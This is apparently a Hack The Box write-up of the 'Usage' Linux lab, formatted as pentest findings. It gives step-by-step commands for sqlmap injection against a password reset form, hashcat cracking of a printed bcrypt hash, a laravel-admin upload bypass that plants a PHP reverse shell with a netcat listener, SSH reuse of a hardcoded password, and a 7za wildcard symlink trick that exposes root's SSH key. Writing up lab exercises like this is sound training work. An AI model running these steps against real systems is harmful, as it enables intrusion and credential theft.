Hack The Box Usage Writeup (Easy Linux)

Summary

Usage is an easy Linux machine whose password reset form at /forget-password is vulnerable to a boolean based SQL injection, and sqlmap dumps the admin_users table out of the usage_blog database. The administrator’s bcrypt hash cracks with rockyou, and those credentials log into the laravel-admin instance on the admin virtual host. laravel-admin is affected by CVE-2023-24249, where the avatar upload can be steered past its file type restrictions: intercepting the save request, renaming the file to end in .php and swapping the image bytes for a PHP reverse shell puts a webshell under /uploads/images, which runs as dash. Reading /home/dash/.monitrc exposes a hardcoded password that also works for xander over SSH. xander may run /usr/bin/usage_management as root, and that binary calls 7za with a wildcard in /var/www/html, so the classic @file and symlink pair makes the archiver print root’s SSH private key as an error, which then logs in as root.

Initial Target - 10.10.11.18

Service Enumeration

IP Address	TCP Ports Open
10.10.11.18	22, 80

BS01: SQL Injection

Explanation: Our testing stated that a remote attacker could be able to exploit a SQL Injection vulnerability in the password reset form at http://usage.htb/forget-password, therefore obtaining unauthorized access to the database.

Severity: Elevated

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. Using Burpsuite, capture a request to reset password at http://usage.htb/forget-password.

2. In Burpsuite, go to Proxy > HTTP History and select the request made earlier.

3. Right click on the left panel, the one that shows information regarding the request, hit “Save item” and save it as “sqli.req”.

4. Execute the following command in order to dump the “admin_users” table: sqlmap -r sqli.req -p email --level 5 --risk 3 -D usage_blog -T admin_users --dump --skip-waf --skip-heuristics --dbms=mysql --threads 10 --technique=B --batch

BS02: Password Hash Cracking

Explanation: The password hash for the user “Administrator” has been cracked with ease after dumping the admin_users table on the previous item.

Severity: Elevated

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. Dump the database as describe in BS01.

2. Save the admin password hash, in this case, $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 to a file named admin.hash

3. Crack the hash with hashcat: hashcat -m 3200 admin.hash /usr/share/wordlists/rockyou.txt

BS03: Initial Access - CVE-2023-24249

Explanation: laravel-admin is administrative interface builder for laravel which can help you build CRUD backends just with few lines of code. There is a problem in larravel-admin that allows attackers to bypass file upload restrictions, and attackers can upload files in *. php format for remote code execution.

Severity: High

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. Download this php reverse shell and save it locally to “shell.php”.

2. Edit the “shell.php” file with your favorite text editor, and change the $ip variable to match your VPN IP address (you can use ifconfig tun0 in order to get your VPN IP).

3. Log in to the laravel-admin instance at http://admin.usage.htb with the username “admin” and the password discovered in BS02.

4. Click on your user on the top right corner, and open the settings.

5. Download the user profile picture to use it as a placeholder image to upload when exploiting the vulnerability.

6. Click to open a file, and select the user profile picture you just downloaded (file file must be a valid image).

7. Before uploading the file (the file gets uploaded when you hit “save”), make sure to have burpsuite running, with proxy up and intercepting requests.

8. Copy the contents of your “shell.php” to the clipboard.

9. Click “save”, open burpsuite, edit the filename to “evil.jpg.php” and replace all the image content with your clipboard content (php shell code, if you recall item 8).

10. Forward the requests.

11. Open a netcat listener on port 1234 (change that if you changed $port variable in shell.php): nc -lvnp 1234

12. Open the shell at http://admin.usage.htb/uploads/images/evil.jpg.php and you’ll hopefully get a reverse shell connection.

Click here to learn more about this vulnerability.

BS04: Horizontal Privilege Escalation - Hardcoded Credentials

Explanation: Our testing identified a file containing a hardcoded password. This password was found to be valid for the user “xander”, allowing for an unauthorized party to escalate privileges horizontally from user “dash” to user “xander”.

Severity: High

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. Read the contents of /home/dash/.monitrc, taking note of the exposed password.

2. Log in as “xander” via SSH using the password discovered in item 1: ssh xander@10.10.11.18

BS05: Vertical Privilege Escalation - Wildcard Spare

Explanation: User “xander” has sudo permissions over /usr/bin/usage_management. Our testing discovered that this ELF binary enters the folder “/var/www/html” and then executes the command /usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- * when the user selects the first option of the program (1. Project Backup). It is possible for a remote attacker to exploit the usage of a wildcard and read arbitrary files on the system, including sensitive files like /etc/shadow or even root’s ssh private key at /root/.ssh/id_rsa.

Severity: Extreme

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. Head to the web root folder: cd /var/www/html

2. Create root file: touch @root.txt

3. Create a symbolic link to the file you want to read. In this case, we’re gonna be reading root’s ssh private key: ln -s /root/.ssh/id_rsa root.txt

4. Execute the first option of the script: sudo /usr/bin/usage_management, hit 1 and then enter.

5. Root’s ssh private key will appear as an error message in the command output when it finishes, so you’ll just have to copy that to your machine, change permissions with chmod 600 id_rsa and log in as root via ssh: ssh root@10.10.11.18 -i id_rsa.

Click here to learn more about this vulnerability.